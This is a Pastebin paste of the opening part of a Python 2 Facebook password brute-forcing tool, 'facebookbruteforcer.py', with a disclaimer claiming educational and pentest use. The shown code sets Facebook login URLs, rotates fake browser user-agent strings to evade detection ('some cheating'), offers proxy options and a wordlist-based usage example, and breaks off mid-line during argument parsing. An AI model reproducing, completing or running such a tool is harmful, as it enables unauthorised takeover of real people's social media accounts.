Advertisement
Lulz-Tigre

facebook_bruteforce

Jul 5th, 2016
252
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 4.01 KB | None | 0 0
  1. #!/usr/bin/python
  2. # This is facebook bruteforcer tools
  3. # This was written for educational purpose and pentest only. Use it at your own risk.
  4. # Author will not be responsible for any damage !!
  5. # Toolname  : facebookbruteforcer.py
  6. # Programmer    : Gunslinger_ <yudha.gunslinger@gmail.com>
  7. # Version   : 1.0
  8. # Date      : Tue Jul 27 13:24:44 WIT 2010
  9. # Special thanks to mywisdom to inspire me ;)
  10.  
  11. import re
  12. import os
  13. import sys
  14. import random
  15. import warnings
  16. import time
  17. try:
  18.     import mechanize
  19. except ImportError:
  20.     print "[*] Please install mechanize python module first"
  21.     sys.exit(1)
  22. except KeyboardInterrupt:
  23.     print "\n[*] Exiting program...\n"
  24.     sys.exit(1)
  25. try:
  26.     import cookielib
  27. except ImportError:
  28.     print "[*] Please install cookielib python module first"
  29.     sys.exit(1)
  30. except KeyboardInterrupt:
  31.     print "\n[*] Exiting program...\n"
  32.     sys.exit(1)
  33.    
  34. warnings.filterwarnings(action="ignore", message=".*gzip transfer encoding is experimental!", category=UserWarning)
  35.  
  36. # define variable
  37. __programmer__  = "gunslinger_ <yudha.gunslinger@gmail.com>"
  38. __version__     = "1.0"
  39. verbose     = False
  40. useproxy    = False
  41. usepassproxy    = False
  42. log     = 'fbbruteforcer.log'
  43. file        = open(log, "a")
  44. success     = 'http://www.facebook.com/?sk=messages&amp;ref=mb'
  45. fblogin     = 'https://login.facebook.com/login.php?login_attempt=1'
  46. # some cheating ..
  47. ouruseragent    = ['Mozilla/4.0 (compatible; MSIE 5.0; SunOS 5.10 sun4u; X11)',
  48.         'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.2pre) Gecko/20100207 Ubuntu/9.04 (jaunty) Namoroka/3.6.2pre',
  49.         'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Avant Browser;',
  50.         'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)',
  51.             'Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1)',
  52.             'Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.6)',
  53.             'Microsoft Internet Explorer/4.0b1 (Windows 95)',
  54.             'Opera/8.00 (Windows NT 5.1; U; en)',
  55.         'amaya/9.51 libwww/5.4.0',
  56.         'Mozilla/4.0 (compatible; MSIE 5.0; AOL 4.0; Windows 95; c_athome)',
  57.         'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)',
  58.         'Mozilla/5.0 (compatible; Konqueror/3.5; Linux) KHTML/3.5.5 (like Gecko) (Kubuntu)',
  59.         'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; ZoomSpider.net bot; .NET CLR 1.1.4322)',
  60.         'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; QihooBot 1.0 qihoobot@qihoo.net)',
  61.         'Mozilla/4.0 (compatible; MSIE 5.0; Windows ME) Opera 5.11 [en]'
  62.         ]
  63. facebook    = '''
  64.  __               _                 _    
  65. / _|             | |               | |  
  66. | |_ __ _  ___ ___| |__   ___   ___ | | __
  67. |  _/ _` |/ __/ _ \ '_ \ / _ \ / _ \| |/ /
  68. | || (_| | (_|  __/ |_) | (_) | (_) |   <
  69. |_| \__,_|\___\___|_.__/ \___/ \___/|_|\_\\
  70.                     bruteforcer...
  71.                    
  72. Programmer : %s
  73. Version    : %s''' % (__programmer__, __version__)
  74. option          = '''
  75. Usage  : %s [options]
  76. Option : -u, --username     <username>      |   User for bruteforcing
  77.          -w, --wordlist     <filename>      |   Wordlist used for bruteforcing
  78.          -v, --verbose              |   Set %s will be verbose
  79.          -p, --proxy        <host:port> |   Set http proxy will be use
  80.          -k, --usernameproxy    <username>  |   Set username at proxy will be use
  81.          -i, --passproxy    <password>  |   Set password at proxy will be use
  82.          -l, --log      <filename>  |   Specify output filename (default : fbbruteforcer.log)
  83.          -h, --help         <help>          |   Print this help
  84.                                                            
  85. Example : %s -u brad@hackme.com -w wordlist.txt"
  86.        
  87. P.S : add "&" to run in the background  
  88. ''' % (sys.argv[0], sys.argv[0], sys.argv[0])
  89. hme         = '''
  90. Usage : %s [option]
  91.     -h or --help for get help
  92.     ''' % sys.argv[0]
  93.  
  94.  
  95. def helpme():
  96.     print facebook
  97.     print option
  98.     file.write(facebook)
  99.     file.write(option)
  100.     sys.exit(1)
  101.    
  102. def helpmee():
  103.     print facebook
  104.     print hme
  105.     file.write(facebook)
  106.     file.write(hme)
  107.     sys.exit(1)
  108.    
  109. for arg in sys.argv:
  110.     try:
  111.         if arg.lower() == '-u' or arg.lower() == '--user':
  112.                     username = sys.argv[int(sys.argv[1:].index(arg))+2]
  113.         elif arg.lower() == '-w' or arg.lower()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement